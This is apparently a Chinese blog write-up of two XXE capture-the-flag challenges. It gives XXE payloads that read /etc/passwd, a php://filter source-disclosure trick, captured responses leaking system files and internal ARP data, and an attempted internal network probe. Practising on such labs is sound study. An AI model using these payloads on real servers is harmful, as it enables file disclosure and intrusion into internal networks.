顺便记录一下常用的linux文件路径,以便抄作业
开始实战, 2_n3ed_p00000000000000000000000w3r!!!!!!!!!!!!!!!!!!!!!
fake_xml NCTF
这道题是假的xxe攻击题,flag在页面就能找到,实际上用来熟悉一下操作
常用php伪协议:
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
(目前会用的也8多,只有file://和php://,以后慢慢填)
data://: 写入协议,比如创建text文件并向text文件写入welecome to the zjctf
?text=data://text/plain,welcome to the zjctf
首先,进入网页是个登陆界面,于是随便输,然后抓包,发现账户名和密码是以xml形式传输—-
于是就阔以进行构造payload:
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd"> ]> <user><username>&admin;</username><password>123456</password></user>
|
然后因为file:// 读不出来,就用了php://filter过滤函数 —-基操
base64转码获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
$USERNAME = 'admin'; $PASSWORD = '024b87931a03f738fff6693ce0a78c88'; $result = null;
libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input');
try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom);
$username = $creds->username; $password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); }
header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
|
more: linux下的/etc/passwd以及类似文件解释
在Linux /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。
哦,好了,我大致明白怎么工作了
类似还有etc/hosts文件等
类似还有!! /proc/net/arp —-8知道啥用,可以获得ip,和hosts一样,好像是用来内网渗透的
/proc/net/fib_trie
eg: 169.254.1.1
然后….
命令:SYSTEM “http://169.254.1.1或https://169.254.1.1“
payload作业
放个典型:
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd"> ]> <user><username>&admin;</username><password>123456</password></user>
php://filter/convert.base64-encode/resource=xxx.php
|
ture_xml(buuctf)
ok…….
首先进去是登陆界面,随便填,抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /doLogin.php HTTP/1.1 Host: 92bc38a7-7117-4470-8d20-7e7633da6781.node4.buuoj.cn:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: application/xml, text/xml, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/xml;charset=utf-8 X-Requested-With: XMLHttpRequest Content-Length: 66 Origin: http://92bc38a7-7117-4470-8d20-7e7633da6781.node4.buuoj.cn:81 Connection: close Referer: http://92bc38a7-7117-4470-8d20-7e7633da6781.node4.buuoj.cn:81/
<user><username>admin</username><password>123456</password></user>
|
可以看到username和password都是用xml传的
所以就构造payload,直接抄作业
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd"> ]> <user><username>&admin;</username><password>123456</password></user>
|
回显成功:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| HTTP/1.1 200 OK Server: openresty Date: Sat, 19 Mar 2022 01:32:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 968 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.0RC6
<result><code>0</code><msg>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin </msg></result>
|
那这一串有啥用捏?好像没啥用,那就再读读其他文件: proc/net/arp
回显:
1 2 3 4 5 6 7 8 9 10 11 12 13
| HTTP/1.1 200 OK Server: openresty Date: Sat, 19 Mar 2022 01:44:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 275 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.0RC6
<result><code>0</code><msg>IP address HW type Flags HW address Mask Device 169.254.1.1 0x1 0x2 ee:ee:ee:ee:ee:ee * eth0 10.128.253.12 0x1 0x2 ee:ee:ee:ee:ee:ee * eth0 </msg></result>
|
这玩意有啥用捏? 8知道,只知道是内网的,也就是只能通过里面的服务器读取。尝试读取ip:
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file://http://169.254.1.1"> ]> <user><username>&admin;</username><password>123456</password></user>
|
至于此处为啥是http而8是https呢?8要管了,以后会懂的
等待过程相当龟速…..
然后结果是: 2个ip都报错,原因是connection time out in
那就利用burp的intruder扫一下端口
又是1个龟速的过程……看看有没有其他解法
扫失败了,然后就扫一下地址,又叫内网扫描(eg:把http:169.254.1.1的最后一位数进行爆破)
暴躁老哥上线,他妈的哪里出问题了? 老子一步一步按wp走的啊
分析下原因,wp里,当访问ip时的回显和我的8一样,我的是请求时间过长(connection time out in),而wp的则是请求被拒绝(connection refused in),一个能ping通,1个8能ping通….也许这就是问题所在
那为什么会请求时间过长呢? 我8知道,看了好多wp都是这个解法,没找到原因
请求时间过长显然是内网的服务器的问题,而8是我这边的问题,那就这样吧,这破题就这么过了
然后就很8爽啊啊啊啊啊啊